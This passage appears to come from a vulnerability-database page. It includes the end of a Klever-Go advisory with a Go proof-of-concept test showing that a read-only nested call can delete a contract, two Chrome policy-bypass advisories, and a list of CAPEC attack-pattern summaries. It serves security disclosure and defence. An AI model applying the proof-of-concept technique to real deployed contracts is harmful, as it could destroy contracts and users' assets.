host.ManagedTypes()\n\n\t\t\t\t\t\t// Encode the target address and call the production ManagedDeleteContract hook.\n\t\t\t\t\t\tdestHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)\n\t\t\t\t\t\targsHandle := managedTypes.NewManagedBuffer()\n\t\t\t\t\t\tmanagedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)\n\n\t\t\t\t\t\tvmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)\n\n\t\t\t\t\t\treturn childInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The target contract is upgradeable/deletable and owned by the read-only child.\n\t\t\ttest.CreateMockContract(targetAddress).\n\t\t\t\tWithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).\n\t\t\t\tWithOwnerAddress(test.ChildAddress).\n\t\t\t\tWithMethods(),\n\t\t).\n\t\t// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.\n\t\tWithInput(test.CreateTestContractCallInputBuilder().\n\t\t\tWithRecipientAddr(test.ParentAddress).\n\t\t\tWithGasProvided(500000).\n\t\t\tWithFunction(\"callReadOnlyChild\").\n\t\t\tBuild()).\n\t\tAndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})\n\n\trequire.NoError(t, err)\n\n\t// The read-only nested call must not create delete side effects, but the vulnerable implementation does.\n\tdeletedAfter := vmOutput.DeletedAccounts\n\trequire.Greater(t, len(deletedAfter), len(deletedBefore))\n\trequire.Contains(t, deletedAfter, targetAddress)\n\n\tt.Logf(\"deleted_accounts_before=%d\", len(deletedBefore))\n\tt.Logf(\"deleted_accounts_after=%d\", len(deletedAfter))\n\tt.Logf(\"target_deleted=%t\", true)\n}\n```",
"id": "GHSA-jc6w-wmfc-fh33",
"modified": "2026-05-21T16:53:32Z",
"published": "2026-05-21T16:53:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Klever-Go KVM read-only execution can commit contract delete and upgrade side effects"
}
GHSA-JCH6-9QR5-HVXJ
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in Network in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14076"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:19Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Network in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-jch6-9qr5-hvxj",
"modified": "2026-07-01T15:35:08Z",
"published": "2026-07-01T00:34:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14076"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/511815165"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JG8Q-MJM2-WG7Q
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-07 01:05Insufficient policy enforcement in Extensions in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-7952"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T19:16:43Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Extensions in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-jg8q-mjm2-wg7q",
"modified": "2026-05-07T01:05:52Z",
"published": "2026-05-06T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7952"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/496279876"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.